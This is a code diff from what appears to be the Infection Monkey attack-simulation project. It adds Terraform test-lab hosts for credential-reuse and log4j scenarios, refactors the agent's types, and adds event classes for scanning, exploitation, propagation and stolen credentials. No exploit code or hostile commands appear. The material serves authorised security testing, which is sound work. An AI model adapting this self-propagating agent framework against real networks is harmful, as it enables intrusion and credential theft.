<mxfile host="app.diagrams.net" modified="2022-09-23T15:01:54.105Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" etag="spZrDzUM2aBFwquXRZY8" version="20.3.0" type="device"><diagram id="YCekmHjAy1LVhBsJn630" name="Page-1">7VjbjpswEP2aSO1DEGBIyOPmst1WqZRqpV6eVg444K3B1Di3/fraYC4OyXajJKKqKuWBGXuM58zxGZMemMS7Dwym0WcaINKzzWDXA9OebVuObffkzwz2hWc4cgpHyHCgJtWOR/yClNNU3jUOUKZN5JQSjlPd6dMkQT7XfJAxutWnrSjR35rCELUcjz4kbe83HPCo8HquWfsfEA6j8s2WqUZiWE5WjiyCAd02XGDWAxNGKS+e4t0EEQleiUsRd39itNoYQwl/S4CN5unz0yd7/JBEwfPw69MX8KuvVsn4vkwYBSJ/ZVLGIxrSBJJZ7R0zuk4CJFc1hVXPmVOaCqclnM+I870qJlxzKlwRj4kaFRtm++8qPjd+SMOw3dKe7pqj072yVpiQCSWU5VsFK89Hvi/8GWf0J2qMLD3XcWVEkZ7M6SRqJQR0zXz0ClSKyByyEPHXIHWq4opTgWiMRAoikCECOd7oG4GKnmE1T4XeMQb3jQkpxQnPGisvpENMUCfNBopm6pzZgwM2nDdfPBQ7OBE9PIh2R8ZIz6jAScVpCzdQqV05Wc8gbqkrG0jWCtI5DZ3HSMS+4zT2IX9/lNtzuBQSpfEREhwm4tkXnECCQeMNYhwLDbhTAzEOgoL6KMMvcJmvJ+mlqiIWd8c9d1oRTi6AdlqllUCp4FoWmlQ8fUTbdFKr98WxsSxPq8agsM4j3BGGaIv2HX0Bulpl6DalbVX2Y0ZgErTKqQvRNsIcPaYwP8Rb0Y30Ip8sTEsLTmI9OiC9U5F+W7eGqgFEjbbgmafR1+A7FyvQiX7vMM/l2zBLsxBwz1Vmrd/S2DeMBWJYpC6P2fTKAm05b1RouwuBBgNLYw+wLhFcYLYEt8DndoLrdntVMNzmZcH6m28KbyciuJCJF2lH2ScaQrugW8SyqAj2GQpE7hiSfEvrDP0bDbVg8kmVNw1rqHc+cFk/vX3HLAnXqGRaVbIP+o6o9IAITMZLJp5CnuN66LHEVcIAhjPovNGCwWGnNTvus2UODYRbKFUfeBKkAArwS8Qa6OgClNAEtdVqdu/d23IykUdrQTPMMT16nuYHE5aUi7vvkQPHpd62zyVdc4ITsZ3y41nuVuSRypTiXSi/6Y0NQjA24uxpi5Mg/6C+Ro0d57CjtWvsHCkxGBnerYo87KLFXbHxlFf2m9+ALoMZ/EGtnHPUyulcrSrV2eus7U6s2u3gv1hdtSFZtxQrYdb/ChZXhPq/VTD7DQ==</diagram></mxfile>

View File

@ -59,10 +59,26 @@ data "google_compute_image" "powershell-3-46" {
name = "powershell-3-46"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-44" {
name = "powershell-3-44"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-45" {
name = "powershell-3-45"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-14" {
name = "credentials-reuse-14"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-15" {
name = "credentials-reuse-15"
project = local.monkeyzoo_project
}
data "google_compute_image" "credentials-reuse-16" {
name = "credentials-reuse-16"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-solr-49" {
name = "log4j-solr-49"
project = local.monkeyzoo_project

View File

@ -44,6 +44,18 @@ resource "google_compute_subnetwork" "tunneling2-main" {
network = google_compute_network.tunneling2.self_link
}
resource "google_compute_subnetwork" "credential-reuse" {
name = "${local.resource_prefix}credential-reuse"
ip_cidr_range = "10.2.4.0/24"
network = google_compute_network.credential-reuse.self_link
}
resource "google_compute_subnetwork" "credential-reuse2" {
name = "${local.resource_prefix}credential-reuse2"
ip_cidr_range = "10.2.5.0/24"
network = google_compute_network.credential-reuse2.self_link
}
resource "google_compute_instance_from_template" "hadoop-2" {
name = "${local.resource_prefix}hadoop-2"
source_instance_template = local.default_ubuntu
@ -299,18 +311,18 @@ resource "google_compute_instance_from_template" "powershell-3-46" {
}
}
resource "google_compute_instance_from_template" "powershell-3-45" {
name = "${local.resource_prefix}powershell-3-45"
resource "google_compute_instance_from_template" "powershell-3-44" {
name = "${local.resource_prefix}powershell-3-44"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.powershell-3-45.self_link
image = data.google_compute_image.powershell-3-44.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.45"
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.44"
}
}
@ -324,11 +336,68 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.45"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-14" {
name = "${local.resource_prefix}credentials-reuse-14"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-14.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.14"
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse"
network_ip="10.2.4.14"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-15" {
name = "${local.resource_prefix}credentials-reuse-15"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-15.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse"
network_ip="10.2.4.15"
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse2"
network_ip="10.2.5.15"
}
}
resource "google_compute_instance_from_template" "credentials-reuse-16" {
name = "${local.resource_prefix}credentials-reuse-16"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.credentials-reuse-16.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}credential-reuse2"
network_ip="10.2.5.16"
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.16"
}
}
resource "google_compute_instance_from_template" "log4j-solr-49" {
name = "${local.resource_prefix}log4j-solr-49"
source_instance_template = local.default_linux

View File

@ -1,3 +1,6 @@
from ipaddress import IPv4Address
from typing import Collection
import pytest
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
@ -40,18 +43,17 @@ def island_client(island):
@pytest.mark.usefixtures("island_client")
# noinspection PyUnresolvedReferences
class TestOSCompatibility(object):
def test_os_compat(self, island_client):
def test_os_compat(self, island_client: MonkeyIslandClient):
print()
all_monkeys = island_client.get_all_monkeys_from_db()
ips_that_communicated = []
for monkey in all_monkeys:
for ip in monkey["ip_addresses"]:
if ip in machine_list:
ips_that_communicated.append(ip)
break
ips_that_communicated = self._get_agent_ips(island_client)
for ip, os in machine_list.items():
if ip not in ips_that_communicated:
if IPv4Address(ip) not in ips_that_communicated:
print("{} didn't communicate to island".format(os))
if len(ips_that_communicated) < len(machine_list):
assert False
def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]:
agents = island_client.get_agents()
machines = island_client.get_machines()
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}

View File

@ -7,3 +7,4 @@ from .operating_system import OperatingSystem
from . import types
from . import base_models
from .agent_registration_data import AgentRegistrationData
from .agent_signals import AgentSignals

View File

@ -12,7 +12,7 @@ from .agent_sub_configurations import (
class AgentConfiguration(MutableInfectionMonkeyBaseModel):
keep_tunnel_open_time: confloat(ge=0)
keep_tunnel_open_time: confloat(ge=0) # type: ignore[valid-type]
custom_pbas: CustomPBAConfiguration
post_breach_actions: Tuple[PluginConfiguration, ...]
credential_collectors: Tuple[PluginConfiguration, ...]

View File

@ -3,6 +3,7 @@ from typing import Dict, Tuple
from pydantic import PositiveFloat, conint, validator
from common.base_models import MutableInfectionMonkeyBaseModel
from common.types import NetworkPort
from .validators import (
validate_ip,
@ -79,7 +80,8 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
Example: ("1.1.1.1", "2.2.2.2")
:param inaccessible_subnets: Subnet ranges that shouldn't be accessible for the agent
Example: ("1.1.1.1", "2.2.2.2/24", "myserver")
:param local_network_scan: Whether or not the agent should scan the local network
:param scan_my_networks: If true the Agent will scan networks it belongs to
in addition to the provided subnet ranges
:param subnets: Subnet ranges to scan
Example: ("192.168.1.1-192.168.2.255", "3.3.3.3", "2.2.2.2/24",
"myHostname")
@ -87,7 +89,7 @@ class ScanTargetConfiguration(MutableInfectionMonkeyBaseModel):
blocked_ips: Tuple[str, ...]
inaccessible_subnets: Tuple[str, ...]
local_network_scan: bool
scan_my_networks: bool
subnets: Tuple[str, ...]
@validator("blocked_ips", each_item=True)
@ -127,7 +129,7 @@ class TCPScanConfiguration(MutableInfectionMonkeyBaseModel):
"""
timeout: PositiveFloat
ports: Tuple[conint(ge=0, le=65535), ...]
ports: Tuple[NetworkPort, ...]
class NetworkScanConfiguration(MutableInfectionMonkeyBaseModel):
@ -155,7 +157,7 @@ class ExploitationOptionsConfiguration(MutableInfectionMonkeyBaseModel):
:param http_ports: HTTP ports to exploit
"""
http_ports: Tuple[conint(ge=0, le=65535), ...]
http_ports: Tuple[NetworkPort, ...]
class ExploitationConfiguration(MutableInfectionMonkeyBaseModel):
@ -185,6 +187,6 @@ class PropagationConfiguration(MutableInfectionMonkeyBaseModel):
:param exploitation: Configuration for exploitation
"""
maximum_depth: conint(ge=0)
maximum_depth: conint(ge=0) # type: ignore[valid-type]
network_scan: NetworkScanConfiguration
exploitation: ExploitationConfiguration

View File

@ -78,7 +78,7 @@ FINGERPRINTERS = (
)
SCAN_TARGET_CONFIGURATION = ScanTargetConfiguration(
blocked_ips=tuple(), inaccessible_subnets=tuple(), local_network_scan=True, subnets=tuple()
blocked_ips=tuple(), inaccessible_subnets=tuple(), scan_my_networks=False, subnets=tuple()
)
NETWORK_SCAN_CONFIGURATION = NetworkScanConfiguration(
tcp=TCP_SCAN_CONFIGURATION,

View File

@ -1,5 +1,5 @@
from .consts import EVENT_TYPE_FIELD
from .i_agent_event_serializer import IAgentEventSerializer, JSONSerializable
from .i_agent_event_serializer import IAgentEventSerializer
from .agent_event_serializer_registry import AgentEventSerializerRegistry
from .pydantic_agent_event_serializer import PydanticAgentEventSerializer
from .register import register_common_agent_event_serializers

View File

@ -1,17 +1,7 @@
from abc import ABC, abstractmethod
from typing import Dict, List, Union
from common.agent_events import AbstractAgentEvent
JSONSerializable = Union[ # type: ignore[misc]
Dict[str, "JSONSerializable"], # type: ignore[misc]
List["JSONSerializable"], # type: ignore[misc]
int,
str,
float,
bool,
None,
]
from common.types import JSONSerializable
class IAgentEventSerializer(ABC):

View File

@ -2,9 +2,10 @@ import logging
from typing import Generic, Type, TypeVar
from common.agent_events import AbstractAgentEvent
from common.types import JSONSerializable
from common.utils.code_utils import del_key
from . import EVENT_TYPE_FIELD, IAgentEventSerializer, JSONSerializable
from . import EVENT_TYPE_FIELD, IAgentEventSerializer
logger = logging.getLogger(__name__)

View File

@ -1,4 +1,10 @@
from common.agent_events import CredentialsStolenEvent
from common.agent_events import (
CredentialsStolenEvent,
ExploitationEvent,
PingScanEvent,
PropagationEvent,
TCPScanEvent,
)
from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer
@ -9,3 +15,7 @@ def register_common_agent_event_serializers(
event_serializer_registry[CredentialsStolenEvent] = PydanticAgentEventSerializer(
CredentialsStolenEvent
)
event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent)
event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent)
event_serializer_registry[PropagationEvent] = PydanticAgentEventSerializer(PropagationEvent)
event_serializer_registry[ExploitationEvent] = PydanticAgentEventSerializer(ExploitationEvent)

View File

@ -1,2 +1,6 @@
from .abstract_agent_event import AbstractAgentEvent
from .credentials_stolen_events import CredentialsStolenEvent
from .ping_scan_event import PingScanEvent
from .tcp_scan_event import TCPScanEvent
from .exploitation_event import ExploitationEvent
from .propagation_event import PropagationEvent

View File

@ -25,6 +25,6 @@ class AbstractAgentEvent(InfectionMonkeyBaseModel, ABC):
"""
source: AgentID
target: Union[MachineID, IPv4Address, None] = Field(default=None)
target: Union[IPv4Address, MachineID, None] = Field(default=None)
timestamp: float = Field(default_factory=time.time)
tags: FrozenSet[str] = Field(default_factory=frozenset)

View File

@ -0,0 +1,22 @@
from ipaddress import IPv4Address
from pydantic import Field
from . import AbstractAgentEvent
class ExploitationEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent exploits a host
Attributes:
:param target: IP address of the exploited system
:param success: Status of the exploitation
:param exploiter_name: Name of the exploiter that triggered the event
:param error_message: Message if an error occurs during exploitation
"""
target: IPv4Address
success: bool
exploiter_name: str
error_message: str = Field(default="")

View File

@ -0,0 +1,21 @@
from ipaddress import IPv4Address
from typing import Optional
from common import OperatingSystem
from . import AbstractAgentEvent
class PingScanEvent(AbstractAgentEvent):
"""
An event that occurs when the agent performs a ping scan on its network
Attributes:
:param target: IP address of the pinged system
:param response_received: Indicates if target responded to the ping
:param os: Operating system type determined by ICMP fingerprinting
"""
target: IPv4Address
response_received: bool
os: Optional[OperatingSystem]

View File

@ -0,0 +1,22 @@
from ipaddress import IPv4Address
from pydantic import Field
from . import AbstractAgentEvent
class PropagationEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent propagates on a host
Attributes:
:param target: IP address of the propagated system
:param success: Status of the propagation
:param exploiter_name: Name of the exploiter that propagated
:param error_message: Message if an error occurs during propagation
"""
target: IPv4Address
success: bool
exploiter_name: str
error_message: str = Field(default="")

View File

@ -0,0 +1,19 @@
from ipaddress import IPv4Address
from typing import Dict
from common.types import NetworkPort, PortStatus
from . import AbstractAgentEvent
class TCPScanEvent(AbstractAgentEvent):
"""
An event that occurs when the Agent performs a TCP scan on a host
Attributes:
:param target: IP address of the scanned system
:param ports: The scanned ports and their status (open/closed)
"""
target: IPv4Address
ports: Dict[NetworkPort, PortStatus]

View File

@ -7,7 +7,7 @@ from pydantic import validator
from .base_models import InfectionMonkeyBaseModel
from .transforms import make_immutable_sequence
from .types import HardwareID
from .types import HardwareID, SocketAddress
class AgentRegistrationData(InfectionMonkeyBaseModel):
@ -15,7 +15,7 @@ class AgentRegistrationData(InfectionMonkeyBaseModel):
machine_hardware_id: HardwareID
start_time: datetime
parent_id: Optional[UUID]
cc_server: str
cc_server: SocketAddress
network_interfaces: Sequence[IPv4Interface]
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(

View File

@ -0,0 +1,8 @@
from datetime import datetime
from typing import Optional
from .base_models import InfectionMonkeyBaseModel
class AgentSignals(InfectionMonkeyBaseModel):
terminate: Optional[datetime]

View File

@ -10,6 +10,11 @@ class InfectionMonkeyModelConfig:
extra = Extra.forbid
class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig):
allow_mutation = True
validate_assignment = True
class InfectionMonkeyBaseModel(BaseModel):
class Config(InfectionMonkeyModelConfig):
pass
@ -47,6 +52,5 @@ class InfectionMonkeyBaseModel(BaseModel):
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
class Config(InfectionMonkeyModelConfig):
allow_mutation = True
validate_assignment = True
class Config(MutableInfectionMonkeyModelConfig):
pass

View File

@ -1,6 +1,6 @@
import inspect
from contextlib import suppress
from typing import Any, Sequence, Type, TypeVar
from typing import Any, Sequence, Type, TypeVar, no_type_check
from common.utils.code_utils import del_key
@ -15,6 +15,9 @@ class UnregisteredConventionError(ValueError):
pass
# Mypy doesn't handle cases where abstract class is passed as Type[...]
# https://github.com/python/mypy/issues/4717
# We are using typing.no_type_check to mitigate these errors
class DIContainer:
"""
A dependency injection (DI) container that uses type annotations to resolve and inject
@ -26,6 +29,7 @@ class DIContainer:
self._instance_registry = {}
self._convention_registry = {}
@no_type_check
def register(self, interface: Type[T], concrete_type: Type[T]):
"""
Register a concrete `type` that satisfies a given interface.
@ -55,6 +59,7 @@ class DIContainer:
self._type_registry[interface] = concrete_type
del_key(self._instance_registry, interface)
@no_type_check
def register_instance(self, interface: Type[T], instance: T):
"""
Register a concrete instance that satisfies a given interface.
@ -73,6 +78,7 @@ class DIContainer:
self._instance_registry[interface] = instance
del_key(self._type_registry, interface)
@no_type_check
def register_convention(self, type_: Type[T], name: str, instance: T):
"""
Register an instance as a convention
@ -101,6 +107,7 @@ class DIContainer:
"""
self._convention_registry[(type_, name)] = instance
@no_type_check
def resolve(self, type_: Type[T]) -> T:
"""
Resolves all dependencies and returns a new instance of `type_` using constructor dependency

View File

@ -2,3 +2,4 @@ from .types import AgentEventSubscriber
from .pypubsub_publisher_wrapper import PyPubSubPublisherWrapper
from .i_agent_event_queue import IAgentEventQueue
from .pypubsub_agent_event_queue import PyPubSubAgentEventQueue
from .locking_agent_event_queue_decorator import LockingAgentEventQueueDecorator

View File

@ -0,0 +1,31 @@
from threading import Lock
from typing import Type
from common.agent_events import AbstractAgentEvent
from . import AgentEventSubscriber, IAgentEventQueue
class LockingAgentEventQueueDecorator(IAgentEventQueue):
"""
Makes an IAgentEventQueue thread-safe by locking publish()
"""
def __init__(self, agent_event_queue: IAgentEventQueue, lock: Lock):
self._lock = lock
self._agent_event_queue = agent_event_queue
def subscribe_all_events(self, subscriber: AgentEventSubscriber):
self._agent_event_queue.subscribe_all_events(subscriber)
def subscribe_type(
self, event_type: Type[AbstractAgentEvent], subscriber: AgentEventSubscriber
):
self._agent_event_queue.subscribe_type(event_type, subscriber)
def subscribe_tag(self, tag: str, subscriber: AgentEventSubscriber):
self._agent_event_queue.subscribe_tag(tag, subscriber)
def publish(self, event: AbstractAgentEvent):
with self._lock:
self._agent_event_queue.publish(event)

View File

@ -4,7 +4,7 @@ import random
import socket
import struct
from abc import ABCMeta, abstractmethod
from typing import List, Tuple
from typing import Iterable, List, Tuple
logger = logging.getLogger(__name__)
@ -58,7 +58,7 @@ class NetworkRange(object, metaclass=ABCMeta):
return SingleIpRange(ip_address=address_str)
@staticmethod
def filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]:
def filter_invalid_ranges(ranges: Iterable[str], error_msg: str) -> List[str]:
valid_ranges = []
for target_range in ranges:
try:
@ -193,7 +193,7 @@ class SingleIpRange(NetworkRange):
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
"""
# The most common use case is to enter ip/range into "Scan IP/subnet list"
domain_name = ""
domain_name = None
if " " in string_:
raise ValueError(f'"{string_}" is not a valid IP address or domain name.')

View File

@ -1,12 +1,16 @@
import ipaddress
from ipaddress import IPv4Interface
from ipaddress import IPv4Address, IPv4Interface
from typing import List, Optional, Sequence, Tuple
from netifaces import AF_INET, ifaddresses, interfaces
def get_my_ip_addresses() -> Sequence[str]:
return [str(interface.ip) for interface in get_network_interfaces()]
def get_my_ip_addresses_legacy() -> Sequence[str]:
return [str(ip) for ip in get_my_ip_addresses()]
def get_my_ip_addresses() -> Sequence[IPv4Address]:
return [interface.ip for interface in get_network_interfaces()]
def get_network_interfaces() -> List[IPv4Interface]:

View File

@ -0,0 +1,14 @@
from .attack import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1021_ATTACK_TECHNIQUE_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1098_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
T1570_ATTACK_TECHNIQUE_TAG,
)

View File

@ -0,0 +1,12 @@
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"

View File

@ -1,8 +1,94 @@
from __future__ import annotations
from dataclasses import dataclass
from enum import Enum
from ipaddress import IPv4Address
from typing import Dict, List, Optional, Union
from uuid import UUID
from pydantic import PositiveInt
from pydantic import ConstrainedInt, PositiveInt
from typing_extensions import TypeAlias
from common import OperatingSystem
from common.base_models import InfectionMonkeyBaseModel
from common.network.network_utils import address_to_ip_port
AgentID: TypeAlias = UUID
HardwareID: TypeAlias = PositiveInt
MachineID: TypeAlias = PositiveInt
JSONSerializable = Union[ # type: ignore[misc]
Dict[str, "JSONSerializable"], # type: ignore[misc]
List["JSONSerializable"], # type: ignore[misc]
int,
str,
float,
bool,
None,
]
class NetworkService(Enum):
"""
An Enum representing network services
This Enum represents all network services that Infection Monkey supports. The value of each
member is the member's name in all lower-case characters.
"""
UNKNOWN = "unknown"
class NetworkPort(ConstrainedInt):
"""
Define network port as constrainer integer.
To define a default value with this type:
port: NetworkPort = typing.cast(NetworkPort, 1000)
"""
ge = 0
le = 65535
@dataclass
class PingScanData:
response_received: bool
os: Optional[OperatingSystem]
class PortStatus(Enum):
"""
An Enum representing the status of the port.
This Enum represents the status of a network pork. The value of each
member is the member's name in all lower-case characters.
"""
OPEN = "open"
CLOSED = "closed"
class SocketAddress(InfectionMonkeyBaseModel):
ip: IPv4Address
port: NetworkPort
@classmethod
def from_string(cls, address_str: str) -> SocketAddress:
"""
Parse a SocketAddress object from a string
:param address_str: A string of ip:port
:raises ValueError: If the string is not a valid ip:port
:return: SocketAddress with the IP and port
"""
ip, port = address_to_ip_port(address_str)
if port is None:
raise ValueError("SocketAddress requires a port")
return SocketAddress(ip=IPv4Address(ip), port=int(port))
def __hash__(self):
return hash(str(self))
def __str__(self):
return f"{self.ip}:{self.port}"

View File

@ -35,6 +35,7 @@ bcrypt = "==3.2.2"
[dev-packages]
ldap3 = "*"
mypy = "*"
[requires]
python_version = "3.7"

View File

@ -1,7 +1,7 @@
{
"_meta": {
"hash": {
"sha256": "5e9fbd68544462c51d9b31787a43522f1e39978044952717a42de8aee1844917"
"sha256": "f9abf32c9cb2724beb6b120c657d79fde001468eeab93775dc0fc31bf6eaa3d9"
},
"pipfile-spec": 6,
"requires": {
@ -243,7 +243,7 @@
"sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e",
"sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"
],
"markers": "python_version >= '3.6' and python_version < '4.0'",
"markers": "python_version >= '3.6' and python_version < '4'",
"version": "==2.2.1"
},
"egg-timer": {
@ -1040,6 +1040,42 @@
],
"version": "==2.9.1"
},
"mypy": {
"hashes": [
"sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655",
"sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9",
"sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3",
"sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6",
"sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0",
"sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58",
"sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103",
"sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09",
"sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417",
"sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56",
"sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2",
"sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856",
"sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0",
"sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8",
"sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27",
"sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5",
"sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71",
"sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27",
"sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe",
"sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca",
"sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf",
"sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9",
"sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"
],
"index": "pypi",
"version": "==0.971"
},
"mypy-extensions": {
"hashes": [
"sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d",
"sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"
],
"version": "==0.4.3"
},
"pyasn1": {
"hashes": [
"sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
@ -1057,6 +1093,52 @@
"sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
],
"version": "==0.4.8"
},
"tomli": {
"hashes": [
"sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc",
"sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
],
"markers": "python_version < '3.11'",
"version": "==2.0.1"
},
"typed-ast": {
"hashes": [
"sha256:0261195c2062caf107831e92a76764c81227dae162c4f75192c0d489faf751a2",
"sha256:0fdbcf2fef0ca421a3f5912555804296f0b0960f0418c440f5d6d3abb549f3e1",
"sha256:183afdf0ec5b1b211724dfef3d2cad2d767cbefac291f24d69b00546c1837fb6",
"sha256:211260621ab1cd7324e0798d6be953d00b74e0428382991adfddb352252f1d62",
"sha256:267e3f78697a6c00c689c03db4876dd1efdfea2f251a5ad6555e82a26847b4ac",
"sha256:2efae9db7a8c05ad5547d522e7dbe62c83d838d3906a3716d1478b6c1d61388d",
"sha256:370788a63915e82fd6f212865a596a0fefcbb7d408bbbb13dea723d971ed8bdc",
"sha256:39e21ceb7388e4bb37f4c679d72707ed46c2fbf2a5609b8b8ebc4b067d977df2",
"sha256:3e123d878ba170397916557d31c8f589951e353cc95fb7f24f6bb69adc1a8a97",
"sha256:4879da6c9b73443f97e731b617184a596ac1235fe91f98d279a7af36c796da35",
"sha256:4e964b4ff86550a7a7d56345c7864b18f403f5bd7380edf44a3c1fb4ee7ac6c6",
"sha256:639c5f0b21776605dd6c9dbe592d5228f021404dafd377e2b7ac046b0349b1a1",
"sha256:669dd0c4167f6f2cd9f57041e03c3c2ebf9063d0757dc89f79ba1daa2bfca9d4",
"sha256:6778e1b2f81dfc7bc58e4b259363b83d2e509a65198e85d5700dfae4c6c8ff1c",
"sha256:683407d92dc953c8a7347119596f0b0e6c55eb98ebebd9b23437501b28dcbb8e",
"sha256:79b1e0869db7c830ba6a981d58711c88b6677506e648496b1f64ac7d15633aec",
"sha256:7d5d014b7daa8b0bf2eaef684295acae12b036d79f54178b92a2b6a56f92278f",
"sha256:98f80dee3c03455e92796b58b98ff6ca0b2a6f652120c263efdba4d6c5e58f72",
"sha256:a94d55d142c9265f4ea46fab70977a1944ecae359ae867397757d836ea5a3f47",
"sha256:a9916d2bb8865f973824fb47436fa45e1ebf2efd920f2b9f99342cb7fab93f72",
"sha256:c542eeda69212fa10a7ada75e668876fdec5f856cd3d06829e6aa64ad17c8dfe",
"sha256:cf4afcfac006ece570e32d6fa90ab74a17245b83dfd6655a6f68568098345ff6",
"sha256:ebd9d7f80ccf7a82ac5f88c521115cc55d84e35bf8b446fcd7836eb6b98929a3",
"sha256:ed855bbe3eb3715fca349c80174cfcfd699c2f9de574d40527b8429acae23a66"
],
"markers": "python_version < '3.8'",
"version": "==1.5.4"
},
"typing-extensions": {
"hashes": [
"sha256:25642c956049920a5aa49edcdd6ab1e06d7e5d467fc00e0506c44ac86fbfca02",
"sha256:e6d2677a32f47fc7eb2795db1dd15c1f34eff616bcaf2cfb5e997f854fa1c4a6"
],
"index": "pypi",
"version": "==4.3.0"
}
}
}

View File

@ -0,0 +1,5 @@
from .notify_relay_on_propagation import notify_relay_on_propagation
from .agent_event_forwarder import AgentEventForwarder
from .add_stolen_credentials_to_repository import (
add_stolen_credentials_to_propagation_credentials_repository,
)

View File

@ -1,13 +1,12 @@
import logging
from common.agent_events import CredentialsStolenEvent
from . import IPropagationCredentialsRepository
from infection_monkey.credential_repository import IPropagationCredentialsRepository
logger = logging.getLogger(__name__)
class add_credentials_from_event_to_propagation_credentials_repository:
class add_stolen_credentials_to_propagation_credentials_repository:
